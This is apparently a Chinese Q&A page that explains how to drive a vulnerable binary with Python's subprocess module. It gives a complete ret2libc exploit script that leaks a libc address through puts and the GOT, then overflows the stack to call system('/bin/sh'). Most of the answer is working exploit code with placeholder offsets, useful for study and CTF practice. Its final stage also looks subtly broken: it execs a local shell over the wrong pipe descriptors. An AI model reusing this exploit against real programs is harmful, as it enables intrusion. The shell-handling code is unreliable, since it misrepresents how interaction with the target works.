You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何用Python内置库实现与缓冲区溢出程序的子进程通信?

纯Python内置库实现缓冲区溢出漏洞利用方案

核心问题根源

用subprocess通信时出现的阻塞、IO错误、stdin提前关闭等问题,本质是默认管道缓冲机制、进程IO处理方式不符合漏洞利用的交互要求——比如进程输出滞留在缓冲区导致脚本无法读取,或者stdin未保持打开导致进程提前退出。

分步解决实现

1. 正确配置进程启动参数

必须关闭管道缓冲,同时保持stdin/stdout的双向管道打开,避免进程因缓冲或IO关闭异常退出:

import subprocess
import os

def start_target():
    # 启动编译后的目标程序,bufsize=0禁用缓冲
    return subprocess.Popen(
        ["./vuln"],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        bufsize=0,
        preexec_fn=os.setsid  # 隔离进程组,避免终端信号影响
    )

2. 实现字节转换工具(替代pwntools的p64/u64)

用Python内置方法实现64位地址与字节串的转换:

def p64(addr):
    return addr.to_bytes(8, byteorder='little')

def u64(data):
    return int.from_bytes(data, byteorder='little')

3. 第一阶段:泄露libc基址

构造payload覆盖返回地址,调用puts输出其GOT表地址,再跳回main让程序保持运行等待二次攻击:

def leak_libc_base(proc):
    # 替换为你的程序实际地址:缓冲区填充长度、plt_puts、got_puts、main入口
    padding = b'A' * 0x48
    plt_puts = 0x401030
    got_puts = 0x404018
    main_addr = 0x401166
    
    payload = padding + p64(plt_puts) + p64(main_addr) + p64(got_puts)
    
    # 发送payload并强制刷新缓冲区
    proc.stdin.write(payload)
    proc.stdin.flush()
    
    # 逐字节读取输出,直到获取泄露的地址
    output = b''
    while True:
        chunk = proc.stdout.read(1)
        if not chunk:
            break
        output += chunk
        # 根据程序输出特性判断泄露结束,比如遇到换行
        if b'\n' in output:
            break
    
    # 解析64位地址(取输出末尾8字节,补全空字节)
    puts_leak = u64(output[-8:].strip().ljust(8, b'\x00'))
    # 替换为你的libc中puts的偏移(通过objdump或libc-database获取)
    libc_base = puts_leak - 0x809c0
    return libc_base

4. 第二阶段:获取交互式shell

用泄露的libc基址计算system和/bin/sh的地址,构造payload触发shell:

def spawn_shell(proc, libc_base):
    # 替换为你的libc中system和/bin/sh的偏移
    system_addr = libc_base + 0x50d60
    binsh_addr = libc_base + 0x1d8678
    
    padding = b'A' * 0x48
    # 填充8字节垃圾数据覆盖返回地址的下一个栈位置
    payload = padding + p64(system_addr) + b'B'*8 + p64(binsh_addr)
    
    proc.stdin.write(payload)
    proc.stdin.flush()
    
    # 重定向标准IO到进程管道,实现交互式shell
    os.dup2(proc.stdin.fileno(), 0)
    os.dup2(proc.stdout.fileno(), 1)
    os.execvp('/bin/sh', ['/bin/sh'])

5. 主流程整合

if __name__ == "__main__":
    proc = start_target()
    libc_base = leak_libc_base(proc)
    spawn_shell(proc, libc_base)

常见问题排查

  • 脚本阻塞:确保bufsize=0关闭缓冲,每次write后调用flush()强制输出;读取输出时用逐字节读取,避免依赖readline()的行缓冲逻辑。
  • 进程提前退出:检查payload地址是否正确,或添加preexec_fn=os.setsid隔离进程组,避免终端信号终止目标程序。
  • 地址解析错误:根据程序实际输出格式调整地址截取逻辑,比如有些程序会输出多余字符,需精准定位泄露的地址字节。

内容的提问来源于stack exchange,提问作者ma4stro

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.02 13:12:44